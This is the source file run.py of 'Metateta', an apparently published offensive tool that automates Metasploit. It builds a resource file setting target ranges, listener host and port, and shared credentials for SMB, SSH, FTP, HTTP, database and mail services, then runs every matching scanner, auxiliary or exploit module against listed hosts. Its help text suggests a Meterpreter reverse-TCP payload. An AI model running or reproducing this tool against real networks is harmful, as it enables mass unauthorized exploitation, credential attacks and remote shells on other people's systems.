-
Notifications
You must be signed in to change notification settings - Fork 34
/
run.py
221 lines (202 loc) · 6.77 KB
/
run.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Author WazeHell @wazehell
from commands import getoutput
import os,random,sys,optparse
def run_up():
print("Starting Metasploit ......")
return os.system("msfconsole -r meta.rc")
def clean():
return os.system("")
def get_scanners(protocol):
scanners = []
cc = 'locate "*auxiliary/scanner/*'+protocol+'*.rb"'
for ss in getoutput(cc).splitlines():
start = ss.index( '/modules/' ) + len( '/modules/' )
end = ss.index( '.rb', start )
rzlt = ss[start:end]
scanners.append(rzlt)
return scanners
def get_auxiliary(protocol):
auxiliarys = []
cc = 'locate "*auxiliary/*'+protocol+'*.rb"'
for ss in getoutput(cc).splitlines():
start = ss.index( '/modules/' ) + len( '/modules/' )
end = ss.index( '.rb', start )
rzlt = ss[start:end]
auxiliarys.append(rzlt)
return auxiliarys
def get_exploits(protocol):
exploits = []
cc = 'locate "*exploits*'+protocol+'*.rb"'
for ss in getoutput(cc).splitlines():
print(ss)
try:
start = ss.index( '/modules/' ) + len( '/modules/' )
end = ss.index( '.rb', start )
rzlt = ss[start:end]
exploits.append(rzlt)
except:
pass
return exploits
def set_targets(rhosts,rhost,lhost,lport,payload,scannerlist,user,password):
sw = open('meta.rc','a+')
temp = "setg RHOSTS "+rhosts+" \n"
temp+= "setg RHOST "+rhost+" \n"
temp+= "setg SRVHOST "+rhost+" \n"
temp+= "setg SRVHOSTs "+rhost+" \n"
temp+= "setg LHOST "+lhost+" \n"
temp+= "setg LPORT "+lport+" \n"
temp+= "setg SMBUser "+user+" \n"
temp+= "setg SMBPass "+password+" \n"
temp+= "setg USERNAME "+user+" \n"
temp+= "setg PASSWORD "+password+" \n"
temp+= "setg USER "+user+" \n"
temp+= "setg PASS "+password+" \n"
temp+= "setg FTPUSER "+user+" \n"
temp+= "setg FTPPASS "+password+" \n"
temp+= "setg SMTPUSERNAME "+user+" \n"
temp+= "setg SMTPPASSWORD "+password+" \n"
temp+= "setg HttpUsername "+user+" \n"
temp+= "setg HttpPassword "+password+" \n"
temp+= "setg BasicAuthUser "+user+" \n"
temp+= "setg BasicAuthPass "+password+" \n"
temp+= "setg DBPASS "+password+" \n"
temp+= "setg DBUSER "+user+" \n"
temp+= "setg IMAPPASS "+password+" \n"
temp+= "setg IMAPUSER "+user+" \n"
temp+= "setg SSH_USERNAME "+user+" \n"
temp+= "setg SSH_PASSWORD "+password+" \n"
sw.write(temp)
for scanner in scannerlist:
da = "use [scanner]"+"\n"
da+= "run"+"\n"
fe = da.replace('[scanner]',scanner)
sw.write(fe)
sw.close()
return True
def target_list(hostsfile,protocol,rhosts,rhost,lhost,lport,payload,scannerlist,user,password):
togo = get_exploits(protocol)
ff = open(hostsfile,'r')
for target in ff:
target = target.rstrip()
set_targets(target,target,lhost,lport,payload,togo,user,password)
return True
if __name__ == '__main__':
banner = """
───▄▄▄
─▄▀░▄░▀▄
─█░█▄▀░█
─█░▀▄▄▀█▄█▄▀
▄▄█▄▄▄▄███▀
Metateta Automated Tool For Scanning And Exploiting Network Protocols Using Metasploit
By : WazeHell
"""
print(banner)
try:
parser = optparse.OptionParser()
parser.add_option('-R',
action = "store",
dest = "rhosts",
default = "",
type = "string",
help = "set remote hosts : run.py -R 192.168.1.8-255")
parser.add_option('-p',
action = "store",
dest = "protocol",
default = "",
type = "string",
help = "set protocol : run.py -R 192.168.1.8-255 -p smb")
parser.add_option('-f',
action = "store",
dest = "hostsfile",
type = "string",
help = "set hosts file : run.py -f hosts.txt -p smb ")
parser.add_option('-r',
action = "store",
dest = "rhost",
default = "",
type = "string",
help = "set remote host : run.py -r 192.168.1.15 -p smb")
parser.add_option('-l',
action = "store",
dest = "lhost",
default = "",
type = "string",
help = "set LHOST : run.py -f hosts.txt -l 192.168.1.5 -p smb")
parser.add_option('-i',
action = "store",
dest = "lport",
default = "",
type = "string",
help = "set local port : run.py -f hosts.txt -l 192.168.1.5 -i 4444 -p smb")
parser.add_option('-u',
action = "store",
dest = "payload",
default = "",
type = "string",
help = "set payload : run.py -f hosts.txt -l 192.168.1.5 -i 4444 -u windows/x64/meterpreter/reverse_tcp -p smb")
parser.add_option('-U',
action = "store",
dest = "user",
default = "''",
type = "string",
help = "set user : run.py -f hosts.txt -U user -P PASS@2WORD -p smb")
parser.add_option('-P',
action = "store",
dest = "password",
default = "''",
type = "string",
help = "set password : run.py -f hosts.txt -U user -P PASS@2WORD -p smb")
parser.add_option('-x',
action = "store",
dest = "use",
default = "",
type = "string",
help = "set tool mode : run.py -f hosts.txt -U user -P PASS@2WORD -p smb -x scan")
(option,args) = parser.parse_args()
if not option.rhost:
print "Pls Set RHOSTS or RHOST \n" , parser.print_help()
sys.exit(0)
elif not option.rhosts:
print "Pls Set RHOSTS \n" , parser.print_help()
sys.exit(0)
elif not option.protocol:
print "Pls Set Protocol \n" , parser.print_help()
sys.exit(0)
elif not option.use:
print "Pls Set Mode : exploit or scan or auxiliary \n" , parser.print_help()
sys.exit(0)
if option.use == 'scan':
scn = get_scanners(option.protocol)
if option.hostsfile:
target_list(option.hostsfile, option.protocol, option.rhosts, option.rhost, option.lhost , option.lport , option.payload , scn , option.user , option.password)
run_up()
clean()
else:
set_targets(option.rhosts, option.rhost, option.lhost , option.lport , option.payload , scn , option.user , option.password)
run_up()
clean()
elif option.use == 'exploit':
exp = get_exploits(option.protocol)
if option.hostsfile:
target_list(option.hostsfile, option.protocol, option.rhosts, option.rhost, option.lhost , option.lport , option.payload , exp , option.user , option.password)
run_up()
clean()
else:
set_targets(option.rhosts, option.rhost, option.lhost , option.lport , option.payload , exp , option.user , option.password)
run_up()
clean()
elif option.use == 'auxiliary':
aux = get_auxiliary(option.protocol)
if option.hostsfile:
target_list(option.hostsfile, option.protocol, option.rhosts, option.rhost, option.lhost , option.lport , option.payload , aux , option.user , option.password)
run_up()
clean()
else:
set_targets(option.rhosts, option.rhost, option.lhost , option.lport , option.payload , aux , option.user , option.password)
run_up()
clean()
except KeyboardInterrupt:
print('\n Exit.')
sys.exit(0)